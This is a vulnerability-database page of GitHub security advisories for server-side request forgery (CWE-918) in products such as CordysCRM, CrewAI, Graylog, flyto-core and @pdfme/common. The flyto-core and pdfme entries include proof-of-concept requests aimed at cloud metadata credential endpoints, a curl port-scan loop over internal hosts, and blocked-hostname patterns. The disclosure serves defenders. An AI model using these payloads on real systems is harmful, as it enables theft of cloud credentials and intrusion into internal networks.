CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-PG8H-HJRW-38C4
Vulnerability from github – Published: 2026-07-19 09:31 – Updated: 2026-07-19 09:31A vulnerability was found in 1Panel-dev CordysCRM up to 1.4.1. This issue affects some unknown processing of the file backend/crm/src/main/java/cn/cordys/crm/integration/sso/service/TokenService.java of the component Third Party Endpoint. Performing a manipulation of the argument mkAddress results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. The project closed the issue report, stating that this is not the official way to report a security vulnerability.
{
"affected": [],
"aliases": [
"CVE-2026-16222"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-19T08:16:42Z",
"severity": "LOW"
},
"details": "A vulnerability was found in 1Panel-dev CordysCRM up to 1.4.1. This issue affects some unknown processing of the file backend/crm/src/main/java/cn/cordys/crm/integration/sso/service/TokenService.java of the component Third Party Endpoint. Performing a manipulation of the argument mkAddress results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. The project closed the issue report, stating that this is not the official way to report a security vulnerability.",
"id": "GHSA-pg8h-hjrw-38c4",
"modified": "2026-07-19T09:31:36Z",
"published": "2026-07-19T09:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16222"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/CordysCRM/issues/2685"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/CordysCRM/issues/2686"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/CordysCRM"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-16222"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/858043"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/858044"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380044"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380044/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PGF5-GW7R-WXG7
Vulnerability from github – Published: 2026-03-30 18:31 – Updated: 2026-04-01 21:30CrewAI contains a server-side request forgery vulnerability that enables content acquisition from internal and cloud services, facilitated by the RAG search tools not properly validating URLs provided at runtime.
{
"affected": [],
"aliases": [
"CVE-2026-2286"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-30T16:16:04Z",
"severity": "CRITICAL"
},
"details": "CrewAI contains a server-side request forgery vulnerability that enables content acquisition from internal and cloud services, facilitated by the RAG search tools not properly validating URLs provided at runtime.",
"id": "GHSA-pgf5-gw7r-wxg7",
"modified": "2026-04-01T21:30:26Z",
"published": "2026-03-30T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2286"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/221883"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PGFJ-JH8G-79G5
Vulnerability from github – Published: 2026-07-03 21:31 – Updated: 2026-07-03 21:31Server-side request forgery (ssrf) in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.
{
"affected": [],
"aliases": [
"CVE-2026-57987"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-03T21:17:01Z",
"severity": "MODERATE"
},
"details": "Server-side request forgery (ssrf) in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.",
"id": "GHSA-pgfj-jh8g-79g5",
"modified": "2026-07-03T21:31:39Z",
"published": "2026-07-03T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57987"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PGJQ-PWJV-WJPX
Vulnerability from github – Published: 2026-01-14 12:31 – Updated: 2026-06-30 03:35External Control of File Name or Path (CWE-73) combined with Server-Side Request Forgery (CWE-918) can allow an attacker to cause arbitrary file disclosure through a specially crafted credentials JSON payload in the Google Gemini connector configuration. This requires an attacker to have authenticated access with privileges sufficient to create or modify connectors (Alerts & Connectors: All). The server processes a configuration without proper validation, allowing for arbitrary network requests and for arbitrary file reads.
{
"affected": [],
"aliases": [
"CVE-2026-0532"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-14T11:15:50Z",
"severity": "HIGH"
},
"details": "External Control of File Name or Path (CWE-73) combined with Server-Side Request Forgery (CWE-918) can allow an attacker to cause arbitrary file disclosure through a specially crafted credentials JSON payload in the Google Gemini connector configuration. This requires an attacker to have authenticated access with privileges sufficient to create or modify connectors (Alerts \u0026 Connectors: All). The server processes a configuration without proper validation, allowing for arbitrary network requests and for arbitrary file reads.",
"id": "GHSA-pgjq-pwjv-wjpx",
"modified": "2026-06-30T03:35:24Z",
"published": "2026-01-14T12:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0532"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-0532"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429540"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-19-10-9-1-10-9-2-4-security-update-esa-2026-05/384524"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-0532.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PGM4-HCXR-45QW
Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31A flaw has been found in NousResearch hermes-agent up to 0.16.0. This affects the function save_url_image of the file agent/image_gen_provider.py of the component xAI Image Generation Provider. This manipulation causes server-side request forgery. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-18774"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T17:16:48Z",
"severity": "LOW"
},
"details": "A flaw has been found in NousResearch hermes-agent up to 0.16.0. This affects the function save_url_image of the file agent/image_gen_provider.py of the component xAI Image Generation Provider. This manipulation causes server-side request forgery. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-pgm4-hcxr-45qw",
"modified": "2026-08-04T18:31:27Z",
"published": "2026-08-04T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18774"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/7c71603a25d84f372f2275dd570e99d4"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-18774"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/856875"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/385784"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/385784/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PGR9-W2R6-XP6R
Vulnerability from github – Published: 2025-08-12 00:30 – Updated: 2025-08-12 00:30Server-Side Request Forgery (SSRF) in Omnissa Secure Email Gateway (SEG) in SEG prior to 2.32 running on Windows and SEG prior to 2503 running on UAG allows routing of network traffic such as HTTP requests to internal networks.
{
"affected": [],
"aliases": [
"CVE-2025-25235"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-11T22:15:26Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) in Omnissa Secure Email Gateway (SEG) in SEG prior to 2.32 running on Windows and SEG prior to 2503 running on UAG allows routing of network traffic such as HTTP requests to internal networks.",
"id": "GHSA-pgr9-w2r6-xp6r",
"modified": "2025-08-12T00:30:24Z",
"published": "2025-08-12T00:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25235"
},
{
"type": "WEB",
"url": "https://www.omnissa.com/omsa-2025-0003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PGWH-4JJ4-QM8V
Vulnerability from github – Published: 2026-07-30 14:48 – Updated: 2026-07-30 14:48Summary
Numerous HTTP-emitting modules (core.api.http_get, core.api.http_post, graphql.query/graphql.mutation, monitor.http_check, communication.slack_send, notification.{discord,slack,teams}.send_message, ai.vision_analyze [anthropic path], verify.visual_diff, browser.proxy_rotate, and the agent/llm inline base_url branch) perform outbound requests to a fully client-controlled URL without calling the project's own SSRF guard (validate_url_with_env_config) that their sibling modules apply. An authenticated workflow-author can point the URL at the cloud metadata IP (169.254.169.254), a loopback/RFC1918 host, or any internal host and read the response, yielding cloud-metadata credential theft and internal service read/write.
Root Cause
The SSRF guard is per-module (there is NO global egress interception). Each module must call validate_url_with_env_config before issuing a request. The listed modules never call it — they only carry an ssrf_protected metadata tag string which enforces nothing. Exemplar: src/core/modules/third_party/developer/http/requests.py — grepping for validate_url|ssrf|is_private in requests.py returns 0 guard calls; session.get(url) fires at :85 (HTTPGetModule) and session.post at :188 (HTTPPostModule). SECURITY.md incorrectly lists api.http_get as SSRF-protected.
Impact
Readable SSRF: full {status_code, headers, body} returned to the caller (requests.py:96-108). Enables theft of cloud IAM credentials from the metadata endpoint and read/write access to internal-only APIs. Scope Changed (S:C) — the request crosses into cloud-metadata / internal-network authority the workflow layer does not otherwise have.
Proof of Concept
Verified live this session: core.api.http_get with url pointed at a loopback internal server returned the internal body INTERNAL-SECRET-IAM-CREDENTIALS, while the guarded sibling http.get returned NETWORK_ERROR: Hostname blocked: 127.0.0.1 on the same input — proving the branch-asymmetry is real (not a port artifact).
POST /mcp {"method":"tools/call","params":{"name":"execute_module",
"arguments":{"module_id":"core.api.http_get",
"params":{"url":"http://<cloud-metadata-ip>/latest/meta-data/iam/security-credentials/"}}}}
Attack Chain
- Entry: authenticated MCP client →
POST /mcpexecute_modulecore.api.http_get, url set to the cloud metadata endpoint. Guard:require_auth(mcp.py:71). Bypass proof: passes with a valid workflow-author bearer token (PR:L). - Check: capability denylist /
enforce_module_policy(base.py:240). Bypass proof:core.api.*not in_DEFAULT_DENYLIST(module_policy.py:45-67) →is_allowed=True(runtime-registration verified:core.api.http_get -> HTTPGetModule). - Check: SSRF validation. Bypass proof:
requests.pyhas ZEROvalidate_url/ssrf calls — only thessrf_protectedtag string at :23/:116.session.get(url)fires at :85. - Sink: aiohttp GET/POST to the cloud metadata IP.
- Impact: full response body returned → IAM credential theft, internal read/write.
Bypass Evidence
Grepping validate_url|ssrf|is_private in requests.py → 0 guard calls (2 hits are both the inert tag string). Live PoC returned internal body directly; guarded sibling blocked the same input. Direct IP works — no IPv6 transition trick needed (AC:L), unlike the seed CVE-2026-55787.
Affected Versions
<= 2.26.6 — code present on latest release tag v2.26.6 (requests.py:19,112).
Suggested Fix
Call validate_url_with_env_config(url) in each listed module before issuing the outbound request, matching the guarded siblings (e.g. ai.model:157, http.get). Best: route all outbound HTTP through a single guarded client wrapper so new modules inherit the guard.
Credit
Vulnerability discovered by zx (Jace).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.26.6"
},
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67428"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:48:05Z",
"nvd_published_at": "2026-07-29T19:16:52Z",
"severity": "HIGH"
},
"details": "## Summary\nNumerous HTTP-emitting modules (`core.api.http_get`, `core.api.http_post`, `graphql.query`/`graphql.mutation`, `monitor.http_check`, `communication.slack_send`, `notification.{discord,slack,teams}.send_message`, `ai.vision_analyze` [anthropic path], `verify.visual_diff`, `browser.proxy_rotate`, and the `agent`/`llm` inline base_url branch) perform outbound requests to a fully client-controlled URL **without calling the project\u0027s own SSRF guard** (`validate_url_with_env_config`) that their sibling modules apply. An authenticated workflow-author can point the URL at the cloud metadata IP (169.254.169.254), a loopback/RFC1918 host, or any internal host and read the response, yielding cloud-metadata credential theft and internal service read/write.\n\n## Root Cause\nThe SSRF guard is per-module (there is NO global egress interception). Each module must call `validate_url_with_env_config` before issuing a request. The listed modules never call it \u2014 they only carry an `ssrf_protected` **metadata tag string** which enforces nothing. Exemplar: `src/core/modules/third_party/developer/http/requests.py` \u2014 grepping for `validate_url|ssrf|is_private` in requests.py returns 0 guard calls; `session.get(url)` fires at `:85` (HTTPGetModule) and `session.post` at `:188` (HTTPPostModule). SECURITY.md incorrectly lists `api.http_get` as SSRF-protected.\n\n## Impact\nReadable SSRF: full `{status_code, headers, body}` returned to the caller (requests.py:96-108). Enables theft of cloud IAM credentials from the metadata endpoint and read/write access to internal-only APIs. Scope Changed (S:C) \u2014 the request crosses into cloud-metadata / internal-network authority the workflow layer does not otherwise have.\n\n## Proof of Concept\nVerified live this session: `core.api.http_get` with `url` pointed at a loopback internal server returned the internal body `INTERNAL-SECRET-IAM-CREDENTIALS`, while the guarded sibling `http.get` returned `NETWORK_ERROR: Hostname blocked: 127.0.0.1` on the same input \u2014 proving the branch-asymmetry is real (not a port artifact).\n```\nPOST /mcp {\"method\":\"tools/call\",\"params\":{\"name\":\"execute_module\",\n \"arguments\":{\"module_id\":\"core.api.http_get\",\n \"params\":{\"url\":\"http://\u003ccloud-metadata-ip\u003e/latest/meta-data/iam/security-credentials/\"}}}}\n```\n\n## Attack Chain\n1. Entry: authenticated MCP client \u2192 `POST /mcp` execute_module `core.api.http_get`, url set to the cloud metadata endpoint. Guard: `require_auth` (mcp.py:71). Bypass proof: passes with a valid workflow-author bearer token (PR:L).\n2. Check: capability denylist / `enforce_module_policy` (base.py:240). Bypass proof: `core.api.*` not in `_DEFAULT_DENYLIST` (module_policy.py:45-67) \u2192 `is_allowed=True` (runtime-registration verified: `core.api.http_get -\u003e HTTPGetModule`).\n3. Check: SSRF validation. Bypass proof: `requests.py` has ZERO `validate_url`/ssrf calls \u2014 only the `ssrf_protected` tag string at :23/:116. `session.get(url)` fires at :85.\n4. Sink: aiohttp GET/POST to the cloud metadata IP.\n5. Impact: full response body returned \u2192 IAM credential theft, internal read/write.\n\n## Bypass Evidence\nGrepping `validate_url|ssrf|is_private` in requests.py \u2192 0 guard calls (2 hits are both the inert tag string). Live PoC returned internal body directly; guarded sibling blocked the same input. Direct IP works \u2014 no IPv6 transition trick needed (AC:L), unlike the seed CVE-2026-55787.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 code present on latest release tag v2.26.6 (`requests.py:19,112`).\n\n## Suggested Fix\nCall `validate_url_with_env_config(url)` in each listed module before issuing the outbound request, matching the guarded siblings (e.g. `ai.model:157`, `http.get`). Best: route all outbound HTTP through a single guarded client wrapper so new modules inherit the guard.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
"id": "GHSA-pgwh-4jj4-qm8v",
"modified": "2026-07-30T14:48:05Z",
"published": "2026-07-30T14:48:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-pgwh-4jj4-qm8v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67428"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: Multiple HTTP-family modules fetch client-controlled URLs without the SSRF guard their siblings apply (SSRF to internal/metadata)"
}
GHSA-PGWR-3C66-C473
Vulnerability from github – Published: 2026-09-16 21:32 – Updated: 2026-09-16 21:32Graylog through 7.1.4 validates outbound URLs against an allowlist before making requests but fails to re-validate after following HTTP redirects. Attackers with lookup table or event notification permissions can craft allowlisted endpoints that redirect to internal services, enabling the server to fetch and return internal responses.
{
"affected": [],
"aliases": [
"CVE-2026-92789"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T21:17:28Z",
"severity": "HIGH"
},
"details": "Graylog through 7.1.4 validates outbound URLs against an allowlist before making requests but fails to re-validate after following HTTP redirects. Attackers with lookup table or event notification permissions can craft allowlisted endpoints that redirect to internal services, enabling the server to fetch and return internal responses.",
"id": "GHSA-pgwr-3c66-c473",
"modified": "2026-09-16T21:32:55Z",
"published": "2026-09-16T21:32:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92789"
},
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server/issues/26591"
},
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server"
},
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server/blob/abb14d1/graylog2-server/src/main/java/org/graylog2/lookup/adapters/HTTPJSONPathDataAdapter.java#L158-L195"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/graylog-through-7.1.4-server-side-request-forgery-via-http-redirect"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PGX6-7JCQ-2QFF
Vulnerability from github – Published: 2026-03-20 20:45 – Updated: 2026-03-20 20:45Summary
The getB64BasePdf function in @pdfme/common fetches arbitrary URLs via fetch() without any validation when basePdf is a non-data-URI string and window is defined. An attacker who can control the basePdf field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.
Details
The vulnerability exists in packages/common/src/helper.ts:130-141. When getB64BasePdf receives a string that does not start with data:application/pdf;, and window is defined, it passes the string directly to fetch():
// packages/common/src/helper.ts:130-141
export const getB64BasePdf = async (
customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
if (
typeof customPdf === 'string' &&
!customPdf.startsWith('data:application/pdf;') &&
typeof window !== 'undefined'
) {
const response = await fetch(customPdf); // <-- No URL validation
const blob = await response.blob();
return blob2Base64Pdf(blob);
}
// ...
};
The Zod schema for basePdf in packages/common/src/schema.ts:133-135 accepts any string:
export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);
export const BasePdf = z.union([CustomPdf, BlankPdf]);
The checkGenerateProps function at packages/common/src/helper.ts:279 only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.
This function is called from multiple entry points:
- packages/generator/src/helper.ts:42 — during PDF generation
- packages/ui/src/hooks.ts:67 — during UI rendering
- packages/ui/src/helper.ts:292 — during template processing
The typeof window !== 'undefined' guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where window is polyfilled but fetch has full network access without CORS restrictions.
PoC
1. Setup a vulnerable application
// server.js — Next.js API route or Express handler using pdfme
import { generate } from '@pdfme/generator';
export async function POST(req) {
const { template, inputs } = await req.json();
// Application accepts user-provided templates
const pdf = await generate({ template, inputs, plugins: {} });
return new Response(pdf);
}
2. Probe internal services via SSRF
# Attacker sends a template with basePdf pointing to an internal service
curl -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d '{
"template": {
"basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"schemas": [[]]
},
"inputs": [{}]
}'
3. Port scanning internal network
# Scan internal hosts by observing response timing differences
for port in 80 443 3306 5432 6379 8080; do
curl -s -o /dev/null -w "%{time_total}" -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d "{
\"template\": {
\"basePdf\": \"http://10.0.0.1:${port}/\",
\"schemas\": [[]]
},
\"inputs\": [{}]
}"
echo " - port $port"
done
4. Exfiltrate cloud metadata (AWS example)
# In SSR context, fetch reads the full response body and converts to base64
curl -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d '{
"template": {
"basePdf": "http://169.254.169.254/latest/meta-data/",
"schemas": [[]]
},
"inputs": [{}]
}'
# The fetch will succeed; the response will fail PDF parsing,
# but error messages or timing differences leak information
Impact
- Cloud metadata exfiltration: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (
169.254.169.254) to steal IAM credentials, API tokens, and service account keys. - Internal network reconnaissance: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences.
- Internal service access: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server.
- Blind request forgery in browsers: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers).
- Data exfiltration via DNS: Attackers can use DNS-based exfiltration by crafting URLs like
http://<stolen-data>.attacker.comto leak information even when responses are not readable.
Recommended Fix
Add URL validation in getB64BasePdf before calling fetch(). At minimum, restrict to HTTPS and block private/reserved IP ranges:
// packages/common/src/helper.ts
const BLOCKED_HOSTNAME_PATTERNS = [
/^localhost$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2\d|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^0\./,
/^\[::1\]/,
/^\[fc/i,
/^\[fd/i,
/^\[fe80:/i,
];
function validatePdfUrl(urlString: string): void {
let parsed: URL;
try {
parsed = new URL(urlString);
} catch {
throw new Error(`Invalid basePdf URL: ${urlString}`);
}
if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);
}
const hostname = parsed.hostname;
for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {
if (pattern.test(hostname)) {
throw new Error(`basePdf URL must not point to private/reserved addresses`);
}
}
}
export const getB64BasePdf = async (
customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
if (
typeof customPdf === 'string' &&
!customPdf.startsWith('data:application/pdf;') &&
typeof window !== 'undefined'
) {
validatePdfUrl(customPdf); // <-- Add validation before fetch
const response = await fetch(customPdf);
const blob = await response.blob();
return blob2Base64Pdf(blob);
}
// ...
};
Additionally, consider documenting the security implications of passing user-controlled data as basePdf and providing an option for applications to supply their own URL validator or allowlist.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.5.9"
},
"package": {
"ecosystem": "npm",
"name": "@pdfme/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:45:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `getB64BasePdf` function in `@pdfme/common` fetches arbitrary URLs via `fetch()` without any validation when `basePdf` is a non-data-URI string and `window` is defined. An attacker who can control the `basePdf` field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.\n\n## Details\n\nThe vulnerability exists in `packages/common/src/helper.ts:130-141`. When `getB64BasePdf` receives a string that does not start with `data:application/pdf;`, and `window` is defined, it passes the string directly to `fetch()`:\n\n```typescript\n// packages/common/src/helper.ts:130-141\nexport const getB64BasePdf = async (\n customPdf: ArrayBuffer | Uint8Array | string,\n): Promise\u003cstring\u003e =\u003e {\n if (\n typeof customPdf === \u0027string\u0027 \u0026\u0026\n !customPdf.startsWith(\u0027data:application/pdf;\u0027) \u0026\u0026\n typeof window !== \u0027undefined\u0027\n ) {\n const response = await fetch(customPdf); // \u003c-- No URL validation\n const blob = await response.blob();\n return blob2Base64Pdf(blob);\n }\n // ...\n};\n```\n\nThe Zod schema for `basePdf` in `packages/common/src/schema.ts:133-135` accepts any string:\n\n```typescript\nexport const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);\nexport const BasePdf = z.union([CustomPdf, BlankPdf]);\n```\n\nThe `checkGenerateProps` function at `packages/common/src/helper.ts:279` only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.\n\nThis function is called from multiple entry points:\n- `packages/generator/src/helper.ts:42` \u2014 during PDF generation\n- `packages/ui/src/hooks.ts:67` \u2014 during UI rendering\n- `packages/ui/src/helper.ts:292` \u2014 during template processing\n\nThe `typeof window !== \u0027undefined\u0027` guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where `window` is polyfilled but `fetch` has full network access without CORS restrictions.\n\n## PoC\n\n### 1. Setup a vulnerable application\n\n```javascript\n// server.js \u2014 Next.js API route or Express handler using pdfme\nimport { generate } from \u0027@pdfme/generator\u0027;\n\nexport async function POST(req) {\n const { template, inputs } = await req.json();\n // Application accepts user-provided templates\n const pdf = await generate({ template, inputs, plugins: {} });\n return new Response(pdf);\n}\n```\n\n### 2. Probe internal services via SSRF\n\n```bash\n# Attacker sends a template with basePdf pointing to an internal service\ncurl -X POST http://target-app.com/api/generate-pdf \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"template\": {\n \"basePdf\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\n \"schemas\": [[]]\n },\n \"inputs\": [{}]\n }\u0027\n```\n\n### 3. Port scanning internal network\n\n```bash\n# Scan internal hosts by observing response timing differences\nfor port in 80 443 3306 5432 6379 8080; do\n curl -s -o /dev/null -w \"%{time_total}\" -X POST http://target-app.com/api/generate-pdf \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\n \\\"template\\\": {\n \\\"basePdf\\\": \\\"http://10.0.0.1:${port}/\\\",\n \\\"schemas\\\": [[]]\n },\n \\\"inputs\\\": [{}]\n }\"\n echo \" - port $port\"\ndone\n```\n\n### 4. Exfiltrate cloud metadata (AWS example)\n\n```bash\n# In SSR context, fetch reads the full response body and converts to base64\ncurl -X POST http://target-app.com/api/generate-pdf \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"template\": {\n \"basePdf\": \"http://169.254.169.254/latest/meta-data/\",\n \"schemas\": [[]]\n },\n \"inputs\": [{}]\n }\u0027\n# The fetch will succeed; the response will fail PDF parsing,\n# but error messages or timing differences leak information\n```\n\n## Impact\n\n- **Cloud metadata exfiltration**: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (`169.254.169.254`) to steal IAM credentials, API tokens, and service account keys.\n- **Internal network reconnaissance**: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences.\n- **Internal service access**: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server.\n- **Blind request forgery in browsers**: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers).\n- **Data exfiltration via DNS**: Attackers can use DNS-based 